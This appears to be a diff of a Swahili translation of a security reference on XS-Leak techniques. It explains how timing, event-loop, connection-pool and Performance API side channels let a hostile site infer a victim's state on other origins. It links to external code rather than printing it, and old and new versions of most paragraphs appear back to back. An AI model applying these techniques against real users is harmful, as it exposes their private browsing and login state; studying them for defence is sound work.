- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
Inawezekana **kupakia ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichotajwa ikiwa, kisha ikiwa ishara ya **`onblur`** itazinduliwa, kipengele cha ID kinapatikana.\
Inawezekana **kupakua ukurasa** ndani ya **iframe** na kutumia **`#id_value`** kufanya ukurasa **uangalie kwenye kipengele** cha iframe kilichoonyeshwa ikiwa, kisha ikiwa ishara ya **`onblur`** itazinduliwa, kipengele cha ID kinakuwepo.\
Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
@ -188,7 +188,7 @@ Unaweza kufanya shambulizi sawa na vitambulisho vya **`portal`**.
- **Summary**: Kusanya taarifa nyeti kutoka kwa postMessage au tumia uwepo wa postMessages kama oracle kujua hali ya mtumiaji kwenye ukurasa
- **Code Example**: `Any code listening for all postMessages.`
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijakamilishwa ipasavyo, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Kwa hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) kuwasiliana kati ya asili tofauti. Hata hivyo, njia hii inaweza kwa bahati mbaya kufichua **taarifa nyeti** ikiwa parameter ya `targetOrigin` haijafafanuliwa vizuri, ikiruhusu dirisha lolote kupokea ujumbe. Zaidi ya hayo, kitendo cha kupokea ujumbe kinaweza kutenda kama **oracle**; kwa mfano, ujumbe fulani huenda ukatumwa tu kwa watumiaji walioingia. Hivyo, uwepo au ukosefu wa ujumbe hawa unaweza kufichua taarifa kuhusu hali au utambulisho wa mtumiaji, kama vile ikiwa wameidhinishwa au la.
## Global Limits Techniques
@ -202,19 +202,19 @@ Programu mara nyingi hutumia [`postMessage` broadcasts](https://developer.mozill
Inawezekana kubaini ikiwa, na ni wangapi, **uunganisho wa WebSocket ukurasa wa lengo unatumia**. Inaruhusu mshambuliaji kugundua hali za programu na kuvuja taarifa zinazohusiana na idadi ya uhusiano wa WebSocket.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya uhusiano wa WebSocket**, bila kujali hali zao za uhusiano, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya uhusiano wa WebSocket iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya uhusiano wa WebSocket inayotumiwa na tovuti ya lengo** dirisha.
Ikiwa asili moja inatumia **idadi kubwa zaidi ya vitu vya uhusiano wa WebSocket**, bila kujali hali zao za uhusiano, uundaji wa **vitu vipya utasababisha makosa ya JavaScript**. Ili kutekeleza shambulizi hili, tovuti ya mshambuliaji inafungua tovuti ya lengo katika pop-up au iframe na kisha, baada ya tovuti ya lengo kupakuliwa, inajaribu kuunda idadi kubwa zaidi ya uhusiano wa WebSockets iwezekanavyo. **Idadi ya makosa yaliyotupwa** ni **idadi ya uhusiano wa WebSocket inayotumiwa na dirisha la tovuti ya lengo**.
### Payment API
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: API Usage
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Summary**: Gundua Ombi la Malipo kwa sababu moja tu inaweza kuwa hai wakati mmoja.
- **Summary**: Gundua Ombi la Malipo kwa sababu moja tu inaweza kuwa hai kwa wakati mmoja.
- **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Hii XS-Leak inaruhusu mshambuliaji **gundua wakati ukurasa wa cross-origin unapoanzisha ombi la malipo**.
Kwa sababu **ombile moja tu linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **makosa ya JavaScript**. Mshambuliaji anaweza kutumia hii kwa **kujaribu kuonyesha UI ya Payment API mara kwa mara**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inaitumia. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
Kwa sababu **ombile moja la malipo linaweza kuwa hai** kwa wakati mmoja, ikiwa tovuti ya lengo inatumia Payment Request API, jaribio lolote la **kuonyesha matumizi ya API hii litashindwa**, na kusababisha **makosa ya JavaScript**. Mshambuliaji anaweza kutumia hili kwa **kujaribu mara kwa mara kuonyesha UI ya Payment API**. Ikiwa jaribio moja linapelekea kosa, tovuti ya lengo kwa sasa inatumia hiyo. Mshambuliaji anaweza kuficha jaribio haya ya mara kwa mara kwa kufunga UI mara moja baada ya kuunda.
### Timing the Event Loop <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
@ -228,30 +228,30 @@ Kwa sababu **ombile moja tu linaweza kuwa hai** wakati mmoja, ikiwa tovuti ya le
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kutathmini **ni muda gani kodhi kutoka asili tofauti inachukua kutekeleza**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kutuma matukio mara kwa mara yenye mali zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio ikiwa tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka asili tofauti, ikifichua taarifa nyeti.
JavaScript inafanya kazi kwenye [mzunguko wa tukio wa nyuzi moja](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) mfano wa ushirikiano, ikimaanisha kwamba **inaweza kutekeleza kazi moja tu kwa wakati**. Sifa hii inaweza kutumika kupima **ni muda gani kodhi kutoka kwa asili tofauti inachukua kutekeleza**. Mshambuliaji anaweza kupima muda wa utekelezaji wa kodhi yao wenyewe katika mzunguko wa tukio kwa kutuma matukio mara kwa mara yenye mali zilizowekwa. Matukio haya yatachakatwa wakati hifadhi ya matukio iko tupu. Ikiwa asili nyingine pia inatuma matukio kwenye hifadhi hiyo hiyo, **mshambuliaji anaweza kudhani muda inachukua kwa matukio haya ya nje kutekelezwa kwa kuangalia ucheleweshaji katika utekelezaji wa kazi zao wenyewe**. Njia hii ya kufuatilia mzunguko wa tukio kwa ucheleweshaji inaweza kufichua muda wa utekelezaji wa kodhi kutoka kwa asili tofauti, ikifichua taarifa nyeti.
> [!WARNING]
> Katika muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **sababu za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakua rasilimali zinazotumika na ukurasa kabla ya kuupakua.
### Busy Event Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Inclusion Methods**:
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti inahusisha kuzuia makusudi mzunguko wa tukio wa nyuzi moja na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kurudi upya**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zikitekelezwa katika kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Summary:** Njia moja ya kupima muda wa utekelezaji wa operesheni ya wavuti ni kuzuia kwa makusudi mzunguko wa tukio wa nyuzi moja na kisha kupima **ni muda gani inachukua kwa mzunguko wa tukio kuwa upatikani tena**. Kwa kuingiza operesheni ya kuzuia (kama vile hesabu ndefu au wito wa API wa synchronous) kwenye mzunguko wa tukio, na kufuatilia muda inachukua kwa kodhi inayofuata kuanza kutekelezwa, mtu anaweza kudhani muda wa kazi ambazo zilikuwa zinafanyika katika mzunguko wa tukio wakati wa kipindi cha kuzuia. Mbinu hii inatumia asili ya nyuzi moja ya mzunguko wa tukio wa JavaScript, ambapo kazi zinafanywa kwa mpangilio, na inaweza kutoa maarifa kuhusu utendaji au tabia ya operesheni nyingine zinazoshiriki nyuzi hiyo hiyo.
- **Code Example**:
Faida kubwa ya mbinu ya kupima muda wa utekelezaji kwa kufunga mzunguko wa tukio ni uwezo wake wa kukwepa **Site Isolation**. **Site Isolation** ni kipengele cha usalama kinachotenganisha tovuti tofauti katika michakato tofauti, lengo lake ni kuzuia tovuti za uhalifu kupata moja kwa moja data nyeti kutoka tovuti nyingine. Hata hivyo, kwa kuathiri muda wa utekelezaji wa asili nyingine kupitia mzunguko wa tukio wa pamoja, mshambuliaji anaweza kwa njia isiyo ya moja kwa moja kutoa taarifa kuhusu shughuli za asili hiyo. Njia hii haitegemei ufikiaji wa moja kwa moja wa data ya asili nyingine bali inatazama athari za shughuli za asili hiyo kwenye mzunguko wa tukio wa pamoja, hivyo kukwepa vizuizi vya kinga vilivyowekwa na **Site Isolation**.
> [!WARNING]
> Katika muda wa utekelezaji inawezekana **kuondoa** **vigezo vya mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakia rasilimali zinazotumiwa na ukurasa kabla ya kuzipakia.
> Katika kupima muda wa utekelezaji inawezekana **kuondoa** **sababu za mtandao** ili kupata **vipimo sahihi zaidi**. Kwa mfano, kwa kupakua rasilimali zinazotumika na ukurasa kabla ya kuupakua.
### Connection Pool
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Summary:** Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na kwa wakati huo huo kupakia ukurasa mwingine, muda hadi ukurasa wa mwisho unaanza kupakia ni muda ambao ukurasa wa lengo ulitumia kupakia.
- **Summary:** Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakua wavuti ya lengo na kwa wakati mmoja kupakua ukurasa mwingine, muda hadi ukurasa wa mwisho unaanza kupakua ni muda ambao ukurasa wa lengo ulitumia kupakua.
- **Code Example**:
{{#ref}}
@ -261,9 +261,9 @@ connection-pool-example.md
Vivinjari vinatumia soketi kwa mawasiliano ya seva, lakini kutokana na rasilimali zilizopunguka za mfumo wa uendeshaji na vifaa, **vivinjari vinapaswa kuweka mipaka** kwenye idadi ya soketi zinazofanya kazi kwa wakati mmoja. Washambuliaji wanaweza kutumia kikomo hiki kupitia hatua zifuatazo:
1. Tambua kikomo cha soketi cha kivinjari, kwa mfano, soketi 256 za kimataifa.
2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji tofauti, iliyoundwa kuweka uhusiano wazi bila kukamilisha.
2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji mbalimbali, iliyoundwa kuweka uhusiano wazi bila kukamilisha.
3. Tumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa inapatikana hivyo unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa upatikani unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
@ -272,15 +272,15 @@ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-p
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**:
- **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa asili moja**. Ikiwa tutazuia **5** kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** maombi zaidi kwa kiungo sawa ili kugundua **hali** ya **ukurasa**, ombi la **6** litachukua **muda mrefu** na tunaweza kuligundua.
- **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa wakati mmoja kwa asili moja**. Ikiwa tutazuia **5** kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** maombi zaidi kwa kiungo sawa ili kugundua **hali** ya **ukurasa**, **ombile la 6** litachukua **muda mrefu** na tunaweza kuligundua.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta kikoa zinapatikana.
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta jina la kikoa zinapatikana.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za muda zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kuzingatiwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za muda zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kuzingatiwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka ya milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Mbali na vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uundaji wa ukurasa.
Mbali na vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kwa sababu ya `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uwasilishaji wa ukurasa.
### Error Leak
@ -297,10 +297,10 @@ Inawezekana **kutofautisha kati ya msimbo wa hali wa majibu ya HTTP** kwa sababu
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Status Code
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Kutokana na hitilafu ya kivinjari, maombi yanayosababisha makosa yanapakiwa mara mbili.
- **Summary:** Kwa sababu ya hitilafu ya kivinjari, maombi yanayosababisha makosa yanapakiwa mara mbili.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakiwa mara mbili wanaposhindwa kupakia**. Hii itasababisha kuingia nyingi katika Performance API na hivyo inaweza kugundulika.
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakuliwa mara mbili wanaposhindwa kupakua**. Hii itasababisha kuingia nyingi katika Performance API na hivyo inaweza kugundulika.
### Request Merging Error
@ -310,17 +310,17 @@ Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari k
- **Summary:** Maombi yanayosababisha kosa hayawezi kuunganishwa.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii iligunduliwa katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo iliyoonekana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua katika [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii ilipatikana katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo yalipatikana. Hata hivyo, unaweza kupata msimbo wa chanzo ukitafuta katika [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Empty Page Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Majibu yasiyo na maudhui hayaundai kipengee cha muda wa rasilimali.
- **Summary:** Majibu tupu hayaundai kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu wa HTTP kuwa tupu kwa sababu **kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine**.
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu la HTTP kuwa tupu kwa sababu **kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine**.
### **XSS-Auditor Leak**
@ -330,17 +330,17 @@ Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu wa HTTP kuw
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa kuchuja wa auditor.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia isiyo ya moja kwa moja kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa awali na Terada na kuelezewa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa bahati mbaya kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa kwanza na Terada na kuendelezwa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
### X-Frame Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kipengee cha muda wa rasilimali.
- **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Ikiwa ukurasa **haukubaliwi** kuonyeshwa katika **iframe** hauzali kipengee cha utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzali kuingia kwa utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa unatumia **embed** **tag.**
### Download Detection
@ -348,20 +348,20 @@ Vivyo hivyo inatokea ikiwa unatumia **embed** **tag.**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Upakuaji hauzali kipengee cha muda wa rasilimali katika Performance API.
- **Summary:** Upakuaji hauzali kuingia kwa muda wa rasilimali katika Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kipengee cha utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kuingia kwa utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
### Redirect Start Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Redirect
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Kipengee cha muda wa rasilimali kinavuja wakati wa kuanza kwa uelekeo.
- **Summary:** Kuingia kwa muda wa rasilimali kunavuja wakati wa kuanza kwa uelekeo.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinarekodi taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anae **elekezwa** na ukurasa wa lengo, kwa kuuliza **Performance API** na kuangalia data ya **redirectStart timing**.
Tulifanya uchunguzi mmoja wa XS-Leak inayotumia tabia ya vivinjari vingine ambavyo vinarekodi taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anaye **elekezwa** na ukurasa wa lengo, kwa kuhoji **Performance API** na kuangalia **data ya wakati wa redirectStart**.
### Duration Redirect Leak
@ -371,17 +371,17 @@ Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo v
- **Summary:** Muda wa kuingia kwa muda ni hasi wakati uelekeo unapotokea.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
Katika GC, **muda** wa maombi yanayosababisha **uelekeo** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi ambayo hayasababisha uelekeo.
Katika GC, **muda** wa maombi yanayosababisha **uelekeo** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi yasiyo ya uelekeo.
### CORP Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Rasilimali iliyo na CORP haizalishi kipengee cha muda wa rasilimali.
- **Summary:** Rasilimali iliyo na ulinzi wa CORP haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
Katika baadhi ya matukio, **kipengee cha nextHopProtocol** kinaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati **kichwa cha CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kipengee cha utendaji kabisa kwa rasilimali zilizo na CORP.
